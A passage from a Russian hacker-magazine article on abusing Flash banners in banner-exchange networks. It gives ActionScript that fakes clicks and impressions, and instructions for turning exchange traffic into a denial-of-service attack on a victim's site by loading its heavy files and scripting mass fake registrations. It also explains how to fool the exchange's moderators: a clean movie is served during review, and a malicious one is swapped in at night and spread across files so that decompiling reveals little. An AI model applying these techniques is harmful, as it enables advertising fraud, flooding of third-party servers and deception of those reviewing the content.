ДРУГАЯ СТОРОНА FLASH - имеем баннер, который имеет всех Alex Shark (qqqqqwww@ring.by) Спецвыпуск Xakep, номер #029, стр. 029-026-4 if (random(100) > 95) { getURL ("http://www.linkexchange.ru/cgi-bin/rle.cgi?FFFFFF?ZZZ", "_top"); } Со счетчиком все обстоит точно так же, только выбирай счетчик без JavaScript и помни, что ты меняешь показы баннера на накрутку счетчика, так что надо еще и баннер чуть-чуть подкручивать. Ну а для завала сайта смело втыкай вместо ссылки на твой баннер ссылку на файл с сайта жертвы, советую выбирать файл пожирнее. Если на том сайте есть Flash, можно использовать подзагрузку его флеша к себе в баннер; если есть звук (mp3, например), можно и его подгрузить как мувик, тут тебе не важен результат загрузки, важна сама загрузка :). Давай прикинем: на моем любимом RLE вчера было 24772338 посетителей, это чуть больше 286 посетителей в секунду, средний объем swf-ки 30 кило, что есть 8.5 метров в секунду. Весьма нехилая выделенка, если же учесть, что помимо тебя с этого сайта еще кто-то будет пытаться что-то скачать, то выходит очень большой трафик. В принципе одним файлом mp3 можно завалить среднего провайдера или картинкой jpg эдак кило на 200 :). А че, у них же канал широкий, они любят вешать картинки неподъемные ;). Главное при завале - не пользоваться XMLSocket-ом, потому как наиболее вероятно, что первым ляжет именно проксятник, а не сильная жертва. Если на сайте жертвы есть регистрация чего-либо, то можно сделать случайную регистрацию полумиллионной аудитории пользователей, что приведет не только к забиванию канала, но забьет диск сервера и загрузит проц. Таможня А теперь ты узнаешь страшное: как тебя будут шмонать в мент... то есть у баннарейщиков. Во-первых, глянь на свой swf в текстовом виде, и ты увидишь все свои строчки, что неправильно по определению. Их конечно можно закодировать, но потом твой мувик декомпильнут (или попробуют это сделать), но есть выход и из этого положения. Давай вынесем наш мувик с кликалкой в отдельный файлец, назовем его "fly0.swf" и сделаем точно такой же, но без кликалки, просто летающую фиговину; или можешь сделать мувик, со знаком зодиака, который постоянно будет меняться, или цену на товар, который ты якобы продаешь, ну подумай, зачем реально нужно выносить мувик, и постарайся закосить под это. А в основном баннере используй loadMovieNum ("http://mypage.ru/fly0.swf", 3); для "дозагрузки" кусочка. Во время проверки на твоем сервере должен лежать нормальный не кликающий мувик с обычной летающей мухой. Когда проверка пройдена и баннер выпущен на просторы, начисляй на него показы, устанавливай время показа с 2 ночи до 6 утра и смело подменяй мувик. Все, с утра ты уже проснешься с бешеным количеством показов (если, конечно, все сделал правильно). Можно не выносить мувик, а вынести только сами переменные, для этого есть loadVariables("data.txt", 0); он нам поможет избавиться от лишних строк, но не избавит нас от декомпиляции, зато можно задать условие, что, мол, если переменные не считались, то я обычный мувик, иначе кликать! Но лучше всегда считывать "правильные" переменные: цены, скорость передачи данных, загрузку канала, и прочий кал. И грамотно выдавать его на экран. Тогда не должно быть вопросов типа "а зачем вам скачивать это со своего сервера" или "а давайте мы их посмотрим", можно смело дать им файлец, и пусть ребята хоть зачитаются. Но в идеале нужно написать перловку, которая будет выкидывать данные в нужном формате до определенного времени, притом более или менее правдоподобные данные. А с 2 до 6 будет давать сама ссылки на разные баннеры (помнишь про random в конце баннера?) и разные referal. А чтобы даже после декомпиляции трудно было сообразить, что к чему, советую разнести всю эту требуху как можно дальше по мувикам. И не забывай про опцию "защитить от экспорта", она хоть как-то, но тоже создаст проблему. |